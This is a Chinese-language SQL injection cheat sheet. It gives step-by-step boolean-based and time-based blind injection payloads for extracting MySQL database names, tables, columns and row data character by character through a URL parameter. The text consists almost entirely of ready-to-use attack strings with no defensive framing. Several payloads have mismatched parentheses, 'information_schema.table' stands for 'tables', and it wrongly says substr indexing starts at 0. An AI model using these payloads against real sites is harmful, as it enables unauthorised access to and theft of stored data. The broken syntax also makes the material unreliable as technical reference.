一、bool盲注
需要用到的函数:
length()
substr()
ascii()
注入思路:
利用显示和不显示返回值的特性来猜测库名长度然后根据长度一个字母一个字母的猜测直到猜出整个库名,以此类推,表名,字段名以及字段都是一样。
注入流程:
1、确定是字符注入还是数值注入
?id=1'#和?id=1#
2、确定是否有注入点
?id=1 and 1=1#和?id=1 and 1=2#
3、猜测database()长度
?id=1 and (length(database())=N)
(N为库名长度)
4、爆破出库名
?id=1 and ascii(substr(database(),N,1))=X#
(N从0开始,X为ascii值)
5、猜测库里的表的数量
?id=1 and (select count(table_name) from information_schema.tables where table_schema=库名)=N
(N为表数量)
6、猜测表名长度
?id=1 and length(select table_name from information_schema.tables where table_schema=库 limit N,1)
(N从0开始一个表一个表查表名长度)
7、猜测表名
?id=1 and ascii(substr(select table_name from information_schema.tables where table_schema=表 limit N,1),M,1)=X
(N从0开始,M从1开始,X为ascii值)
8、猜测表中字段数量
?id=1 and (select count(column_name) from information_schema.columns where table_schema=’库名’ and table_name=’表名’)=N#
(N为字段数量)
9、猜测字段名长度
?id=1 and length(select column_name from information_schema.columns where table_schema=’库名’ and table_name=’表名’ limit N,1)=L
(N从0开始,L为长度)
10、猜测字段名
?id=1 and ascii(substr(select column_name from information_schema.columns where table_schema=’库名’ and table_name=’表名’ limit N,1)M,1))=X
(N从0开始,M从1开始,X为ascii值)
11、猜测数据条数
?id=1 and (select count(*) from 表 )= L#
(L为数据条数)
12、猜测数据长度
?id=1 and length(select ‘字段’ from ’表名’ limit N,1)=L #
(N从0开始,L为长度)
13、猜测数据
?id=1 and ascii(substr(select 字段 from 表 limit N,1),M,1)=X
(N从0开始,M从1开始,X为ascii值)
二、时间盲注
需要用到的函数:
if()
sleep()
length()
substr()
ascii()
注入思路:
和bool盲注类似,当返回数据完全无变化的情况可以通过时间盲注,利用if和sleep的特性。
用if判断注入条件 ,当为真时执行sleep,让数据库延迟返回达到让业务请求响应延迟返回。 达到验证猜测是否真确的目的,当为假时 执行0。
注入流程:
1、确定是字符注入还是数值注入(这步很关键和其他注入有区别,此处查看是否延迟返回来验证是否已经执行没报错)
?id=1 and sleep(5)#和?id=1' and sleep(5)#
2、确定是否有注入点
?id=1 and if(1=1,sleep(5),0)#和?id=1 and if(1=2,sleep(5),0)#
3、猜库长度
?id=1 and if((length(database())=L),sleep(5),0)#
(L为库的长度)
4、猜库名
?id=1 and if(ascii(substr(database(),N,1)=X),sleep(5),0)#
(N从0开始,X为ascii值)
5、猜表数量
?id=1 and if((select count(table_name) from information_schema.table where table_schema=’库名’)=N ,sleep(5),0)#
(N为表数量)
6、猜表名长度
?id=1 and if(length(select table_name from information_schema.table where table_schema=’库名’ limit N,1)=L),sleep(5),0)#
(N从0开始, L为长度)
7、猜表名
?id=1 and if(ascii(substr((select table_name from information_schema.table where table_schema=’库名’ limit N,1) ,M,1)=X),sleep(5),0)#
(N从0开始,M从1开始,X为ascii值)
8、猜字段数量
?id=1 and if((select count(column_name) from information_schema.columns where table_schema=’库名’ and table_name=’表名’)=N ,sleep(5),0)#
(N为字段数量)
9、猜字段长度
?id=1 and if(length(select column_name from information_schema.columns where table_schema=’库名’ and table_name=’表名’ limit N,1)=L ),sleep(5),0)#
(N从0开始,L为长度)
10、猜字段
?id=1 and if(ascii(substr(select column_name from information_schema.columns where table_schema=’库名’ and table_name=’表名’ limit N,1)M,1))=X ),sleep(5),0)#
(N从0开始,M从1开始,X为ascii值)
11、猜数据条数
?id=1 and if((select count(*) from ‘表’ = L),sleep(5),0)#
(L为长度)
12、猜数据长度
?id=1 and if(length(select ‘字段’ from ’表名’ limit N,1)=L ),sleep(5),0)#
(N从0开始,L为长度)
13、猜数据
?id=1 and if(ascii(substr(select ‘字段’ from ’表名’ limit N,1),M,1)=X ),sleep(5),0)#
(N从0开始,M从1开始,X为ascii值)